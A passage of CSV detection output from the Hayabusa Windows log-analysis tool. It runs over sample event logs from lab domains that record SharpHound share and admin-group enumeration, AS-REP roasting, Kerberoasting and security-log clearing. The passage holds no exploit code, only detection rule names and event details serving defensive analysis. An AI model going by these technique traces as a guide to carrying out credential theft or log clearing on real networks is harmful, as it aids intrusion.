Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:20.658 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:30.691 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.825 +09:00,fs02.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.866 +09:00,dhcp01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.904 +09:00,wsus01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.916 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:37.917 +09:00,win10-02.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:40.730 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:50.745 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:04:00.785 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:04:10.808 +09:00,dhcp01.offsec.lan,5145,informational,Network Share File Access,User: svc_nxlog : Share Name: \\*\dhcp_logs$ : Share Path: \??\C:\DHCP_LOGS : File: DhcpSrvLog-Wed.log : IP Address: 10.23.42.22,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-29 16:55:53.423 +09:00,DC-Server-1.labcorp.local,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.433 +09:00,DC-Server-1.labcorp.local,4769,informational,Kerberos Service Ticket Requested,User: Bob@LABCORP.LOCAL : Service: DC-SERVER-1$ : IP Address: ::ffff:192.168.1.2 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.435 +09:00,DC-Server-1.labcorp.local,4672,informational,Admin Logon,User: Bob : LogonID: 0xc66373,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.436 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: Bob : Workstation: : IP Address: 192.168.1.2 : Port: 54633 : LogonID: 0xc66373,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.681 +09:00,DC-Server-1.labcorp.local,4769,informational,Kerberos Service Ticket Requested,User: Bob@LABCORP.LOCAL : Service: DC-SERVER-1$ : IP Address: ::ffff:192.168.1.2 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.683 +09:00,DC-Server-1.labcorp.local,4672,informational,Admin Logon,User: Bob : LogonID: 0xc66389,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.683 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: Bob : Workstation: : IP Address: 192.168.1.2 : Port: 54635 : LogonID: 0xc66389,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.869 +09:00,DC-Server-1.labcorp.local,4768,medium,Possible AS-REP Roasting,Possible AS-REP Roasting,rules/hayabusa/default/alerts/Security/4768_StealOrForgeKerberosTickets_AS-REP-Roasting.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.869 +09:00,DC-Server-1.labcorp.local,4768,informational,Kerberos TGT was requested,User: Alice : Service: krbtgt : IP Address: ::ffff:192.168.1.2 : Status: 0x0 : PreAuthType: 0,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:56:26.980 +09:00,DC-Server-1.labcorp.local,4634,informational,Logoff,User: Bob : LogonID: 0xc66389,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:02.652 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54374 : LogonID: 0xc712f1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:02.666 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: 192.168.1.100 : Port: 54375 : LogonID: 0xc7142b,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:02.761 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54376 : LogonID: 0xc714d9,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:28.422 +09:00,DC-Server-1.labcorp.local,4769,informational,Kerberos Service Ticket Requested,User: DC-SERVER-1$@LABCORP.LOCAL : Service: DC-SERVER-1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:58:28.425 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54379 : LogonID: 0xc7313f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:59:42.537 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54388 : LogonID: 0xc7adb8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 16:59:42.545 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: DC-SERVER-1$ : Workstation: : IP Address: fe80::e50e:b89e:4718:3aa : Port: 54389 : LogonID: 0xc7ae25,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.004_Steal or Forge Kerberos Tickets AS-REP Roasting/Security.evtx +2021-04-29 18:23:54.244 +09:00,DC-Server-1.labcorp.local,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.690 +09:00,DC-Server-1.labcorp.local,4776,informational,NTLM Logon to Local Account,User: Alice : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.691 +09:00,DC-Server-1.labcorp.local,4624,informational,Logon Type 3 - Network,User: Alice : Workstation: : IP Address: 192.168.1.200 : Port: 40316 : LogonID: 0x27d676,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.718 +09:00,DC-Server-1.labcorp.local,4768,medium,Kerberoasting,Possible Kerberoasting Risk Activity.,rules/hayabusa/default/alerts/Security/4768_StealOrForgeKerberosTickets_Kerberoasting.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.718 +09:00,DC-Server-1.labcorp.local,4768,informational,Kerberos TGT was requested,User: Alice : Service: krbtgt : IP Address: ::ffff:192.168.1.200 : Status: 0x0 : PreAuthType: 2,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.726 +09:00,DC-Server-1.labcorp.local,4769,informational,Kerberos Service Ticket Requested,User: Alice@LABCORP.LOCAL : Service: sql101 : IP Address: ::ffff:192.168.1.200 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-04-29 18:23:58.735 +09:00,DC-Server-1.labcorp.local,4634,informational,Logoff,User: Alice : LogonID: 0x27d676,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/YamatoSecurity/T1558.003_Steal or Forge Kerberos Tickets Kerberoasting/Security.evtx +2021-05-03 17:16:43.008 +09:00,rootdc1.offsec.lan,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4661-SAM domain users & groups discovery.evtx +2021-05-03 17:16:43.017 +09:00,rootdc1.offsec.lan,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4661-SAM domain users & groups discovery.evtx +2021-05-03 17:58:25.921 +09:00,atanids01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62173 : LogonID: 0x88f313a8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:25.942 +09:00,atanids01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62188 : LogonID: 0x88f3141d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:25.949 +09:00,atanids01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62190 : LogonID: 0x88f31435,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:25.950 +09:00,atanids01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62194 : LogonID: 0x88f31447,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.674 +09:00,dhcp01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62169 : LogonID: 0x61e27259,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.677 +09:00,wsus01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62167 : LogonID: 0x5a4cc2f1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.679 +09:00,exchange01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62170 : LogonID: 0xbe8573e4,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.685 +09:00,dhcp01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62182 : LogonID: 0x61e27296,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.686 +09:00,wsus01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62175 : LogonID: 0x5a4cc329,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.686 +09:00,dhcp01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62178 : LogonID: 0x61e272a9,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.687 +09:00,wsus01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62179 : LogonID: 0x5a4cc34a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.687 +09:00,exchange01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62180 : LogonID: 0xbe857415,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.688 +09:00,exchange01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62184 : LogonID: 0xbe85742e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.689 +09:00,pki01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62168 : LogonID: 0x22c8a454,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.689 +09:00,atacore01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62172 : LogonID: 0x3a7fd720,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.689 +09:00,wsus01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62183 : LogonID: 0x5a4cc36c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.690 +09:00,dhcp01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62187 : LogonID: 0x61e272d5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.691 +09:00,exchange01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62186 : LogonID: 0xbe857459,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.712 +09:00,atacore01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62189 : LogonID: 0x3a7fd78b,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.713 +09:00,atacore01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62193 : LogonID: 0x3a7fd7a6,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.713 +09:00,pki01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62192 : LogonID: 0x22c8a4c2,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.714 +09:00,atacore01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62191 : LogonID: 0x3a7fd7ba,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.715 +09:00,pki01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62195 : LogonID: 0x22c8a4dc,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.718 +09:00,pki01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62196 : LogonID: 0x22c8a4f7,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.722 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62197 : LogonID: 0x2a1f27d0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.733 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62198 : LogonID: 0x2a1f27f0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.734 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62199 : LogonID: 0x2a1f2809,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.735 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62200 : LogonID: 0x2a1f281b,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.742 +09:00,prtg-mon.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62211 : LogonID: 0x222004fb,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.742 +09:00,webiis01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62209 : LogonID: 0x258b9e7c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.752 +09:00,prtg-mon.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62219 : LogonID: 0x22200531,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.753 +09:00,prtg-mon.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62222 : LogonID: 0x2220054d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.753 +09:00,prtg-mon.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62223 : LogonID: 0x22200565,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by 